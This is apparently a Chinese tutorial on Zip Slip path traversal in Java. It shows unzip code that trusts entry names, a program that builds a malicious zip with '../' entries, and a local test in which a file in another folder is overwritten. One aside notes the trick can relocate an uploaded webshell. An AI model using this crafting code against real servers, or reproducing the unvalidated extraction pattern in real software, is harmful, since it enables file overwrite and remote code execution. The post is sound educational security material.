程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历

例如:以下代码示例解压zip文件。
    static final int BUFFER = 512;
    // . ..
    BufferedOutputStream dest = null;
    FileInputStream fis = new FileInputStream(filename);
    ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        System.out.println("Extracting: " + entry);
        int count;
        byte data[] = new byte[BUFFER];
        String fileName = entry.getName();
        if (entry.isDirectory()){
            new File(fileName ).mkdir();
            continue;
        }
        // write the files to the disk
        FileOutputStream fos = new FileOutputStream(fileName );
        dest = new BufferedOutputStream(fos, BUFFER);
        while ((count = zis.read(data, 0, BUFFER)) != -1) {
            dest.write(data, 0, count);
        }
        dest.flush();
        dest.close();
    }
     ...
    zis.close();
    代码示例未验证zipEntry.getName(),如果zip文件放在/tmp/目录中,zip条目为../etc/hosts,且应用程序在必要的权限下运行,则会导致系统的hosts文件被覆盖。

我们进行测试该漏洞的时候需要有一个“特殊的”zip文件,条目带有../。然后再操作系统中是不能直接创建这样的zip文件的。故需要利用程序制作这样的zip。

如下图所示,有一个test和test1两个文件夹,现在的实验是希望将test下的test1.txt进行压缩成一个条目中带有../的zip文件,再利用程序解压该文件夹时会覆盖test1中的test1.txt。(该漏洞实际利用过程中1.可以覆盖文件2.上传包含一句话木马的zip文件解压后所在文件夹不会被解析,可以利用此方法解压到其他文件夹中)

对test.txt文件进行压缩的程序如下

  1. import java.io.BufferedInputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.util.zip.ZipEntry;
    import java.util.zip.ZipOutputStream;
  2.  
  3. /**
    * 学习使用java.util.zip压缩文件或者文件夹
    * @author lhm
    *
    */
  4.  
  5. public class test2 {
  6.  
  7. /**
    * @param args 主方法
    */
    public static void main(String[] args) {
    // TODO Auto-generated method stub
    //第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去
    compress("C:\\Users/DELL/Desktop/test/test/test1.txt","C:/Users/DELL/Desktop/test/test/test1.zip");
    }
  8.  
  9. /**s
    * 压缩文件
    * @param srcFilePath 压缩源路径
    * @param destFilePath 压缩目的路径
    */
    public static void compress(String srcFilePath, String destFilePath) {
    //
    File src = new File(srcFilePath);
  10.  
  11. if (!src.exists()) {
    throw new RuntimeException(srcFilePath + "不存在");
    }
    File zipFile = new File(destFilePath);
  12.  
  13. try {
  14.  
  15. FileOutputStream fos = new FileOutputStream(zipFile);
    ZipOutputStream zos = new ZipOutputStream(fos);
    String baseDir = "../test1/";
    compressbyType(src, zos, baseDir);
    zos.close();
  16.  
  17. } catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
  18.  
  19. }
    }
    /**
    * 按照原路径的类型就行压缩。文件路径直接把文件压缩,
    * @param src
    * @param zos
    * @param baseDir
    */
    private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {
  20.  
  21. if (!src.exists())
    return;
    System.out.println("压缩路径" + baseDir + src.getName());
    //判断文件是否是文件,如果是文件调用compressFile方法,如果是路径,则调用compressDir方法;
    if (src.isFile()) {
    //src是文件,调用此方法
    compressFile(src, zos, baseDir);
  22.  
  23. } else if (src.isDirectory()) {
    //src是文件夹,调用此方法
    compressDir(src, zos, baseDir);
  24.  
  25. }
  26.  
  27. }
  28.  
  29. /**
    * 压缩文件
    */
    private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
    if (!file.exists())
    return;
    try {
    BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
    ZipEntry entry = new ZipEntry(baseDir + file.getName());
    zos.putNextEntry(entry);
    int count;
    byte[] buf = new byte[1024];
    while ((count = bis.read(buf)) != -1) {
    zos.write(buf, 0, count);
    }
    bis.close();
  30.  
  31. } catch (Exception e) {
    // TODO: handle exception
  32.  
  33. }
    }
  34.  
  35. /**
    * 压缩文件夹
    */
    private static void compressDir(File dir, ZipOutputStream zos,String baseDir) {
    if (!dir.exists())
    return;
    File[] files = dir.listFiles();
    if(files.length == 0){
    try {
    zos.putNextEntry(new ZipEntry(baseDir + dir.getName()+File.separator));
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    for (File file : files) {
    compressbyType(file, zos, baseDir + dir.getName() + File.separator);
    }
    }}
  36.  
  37. 能成功压缩
  38.  
  39. 在利用如下程序进行解压测试是否能覆盖其他目录中的文件
  1. import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.util.Enumeration;
  2.  
  3. import org.apache.tools.zip.ZipEntry;
    import org.apache.tools.zip.ZipFile;
  4.  
  5. public class test {
    public static void main(String[] args) throws IOException {
    //解压zip的包
    String fileAddress = "C:/Users/DELL/Desktop/test/test/test1.zip";
    //zip文件解压路径
    String unZipAddress = "C:/Users/DELL/Desktop/test/test/";
    //去目录下寻找文件
    File file = new File(fileAddress);
    ZipFile zipFile = null;
    try {
    zipFile = new ZipFile(file,"GBK");//设置编码格式
    } catch (IOException exception) {
    exception.printStackTrace();
    System.out.println("解压文件不存在!");
    }
  6.  
  7. Enumeration e = zipFile.getEntries();
    while(e.hasMoreElements()) {
    ZipEntry zipEntry = (ZipEntry)e.nextElement();
    if(zipEntry.isDirectory()) {
    String name = zipEntry.getName();
    System.out.println("zipEntry.getName():"+name);
    name = name.substring(0,name.length()-1);
    File f = new File(unZipAddress + name);
    f.mkdirs();
    } else {
    File f = new File(unZipAddress + zipEntry.getName());
    f.getParentFile().mkdirs();
    f.createNewFile();
    InputStream is = zipFile.getInputStream(zipEntry);
    FileOutputStream fos = new FileOutputStream(f);
    int length = 0;
    byte[] b = new byte[1024];
  8.  
  9. while((length=is.read(b, 0, 1024))!=-1) {
    fos.write(b, 0, length);
    }
    is.close();
    fos.close();
    }
    }
    if (zipFile != null) {
    zipFile.close();
    }
    //file.deleteOnExit();
    // 解压完以后将压缩包删除
    }
  10.  
  11. }
  1.  

路径遍历:ZIP条目覆盖的更多相关文章

  1. 5 X 5 方阵引出的寻路算法 之 路径遍历(完结)

      此篇文章源自对一个有趣问题的思考,在我的另一篇博文<一个有趣的 5 X 5 方阵一笔画问题>中有详细介绍.在已知其结论的情况下,作为程序员的我,还是想利用该问题当做出发点,写一个可以遍 ...

  2. 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现

    0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...

  3. Java zip解压,并遍历zip中的配置文件 .cfg或.properties

    1.解析cfg或properties配置文件 讲配置文件,读取,并封装成为map类型数据 /** * 解析cfg文件 * * @param cfgFile * @return */ public st ...

  4. 用JS遍历循环时覆盖了之前的值

    使用js遍历Echarts时,三个数据项,七个分类,遍历如下, 其他都没有问题,就是series.data里的数据只加载了一组,控制台显示数组的长度是7,可是下面的数据只有一个 发现把给数据项赋值的语 ...

  5. MFC 添加文件路径 遍历文件

    .添加MFC选择文件路径,使用MessageBox显示信息. void CMyCalLawsDlg::OnBnClickedAddfolder() { wchar_t* p; wchar_t szPa ...

  6. WEB渗透技术之浅析路径遍历

    1. 发送 http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://sit ...

  7. C 给定路径遍历目录下的所有文件

    在此之前需要了解 WIN32_FIND_DATA的结构 以及  FindFirstFile. FindNextFile原型以及用法注意事项传送门如下 https://msdn.microsoft.co ...

  8. CTF--HTTP服务--路径遍历(拿到www-data用户权限)

    开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...

  9. CTF--HTTP服务--路径遍历(提升root用户权限)

    开门见山 1. 在上次实验取的靶机低用户权限,查看该系统的内核版本 2. 查看该系统的发行版本 3. 查看该内核版本是否存在内核溢出漏洞,并没有 如果有内核溢出漏洞,则可以 4. 在靶机查看/etc/ ...

随机推荐

  1. 深度学习模型融合stacking

    当你的深度学习模型变得很多时,选一个确定的模型也是一个头痛的问题.或者你可以把他们都用起来,就进行模型融合.我主要使用stacking和blend方法.先把代码贴出来,大家可以看一下. import ...

  2. vue $set的使用

    在我们使用vue进行开发的过程中,可能会遇到一种情况:当生成vue实例后,当再次给数据赋值时,有时候并不会自动更新到视图上去: 当我们去看vue文档的时候,会发现有这么一句话:如果在实例创建之后添加新 ...

  3. malloc函数 链表

    https://baike.baidu.com/item/malloc函数 malloc的全称是memory allocation,中文叫动态内存分配,用于申请一块连续的指定大小的内存块区域以void ...

  4. Ubuntu16.04LTS卸载软件的命令

    写在前面:本博客为本人原创,严禁任何形式的转载!本博客只允许放在博客园(.cnblogs.com),如果您在其他网站看到这篇博文,请通过下面这个唯一的合法链接转到原文! 本博客全网唯一合法URL:ht ...

  5. wfp(Application的运用)

    1.Application中封装了wpf的一些常用的功能,如检查未经处理的异常,处理命令行参数等. 2.如何启动wpf程序: app.xaml可用于启动wpf的窗体.也可以不用这用方式.直接创建一个a ...

  6. LeetCode 657 Robot Return to Origin 解题报告

    题目要求 There is a robot starting at position (0, 0), the origin, on a 2D plane. Given a sequence of it ...

  7. idea的基本使用

    对于Idea没有workspace的概念,但是它把每个项目都看成是maven的一个模块,在一个idea窗口要想显示多个项目时就和eclipse不太一样,下面会详细介绍. 另外maven的setting ...

  8. 20165336 预备作业3 Linux安装及学习

    Linux 安装及学习 一.VirtualBox和Ubuntu的安装 依照老师所给的步骤下载了VirtualBox 5.2.6和Ubuntu 16.04.3. 按照步骤一步一步进行了安装,出现的问题有 ...

  9. Python开发【笔记】:接口压力测试

    接口压力测试脚本 1.单进程多线程模式 # #!/usr/bin/env python # # -*- coding:utf-8 -*- import time import logging impo ...

  10. 【pyqtgraph】pyqtgraph-鼠标互动

    pyqtgraph绘图库官方文档学习-鼠标互动(mouse interaction) 鼠标互动 大多数使用pyqtgraph数据可视化的应用程序都会生成可以使用鼠标进行交互式缩放,平移和配置的小部件. ...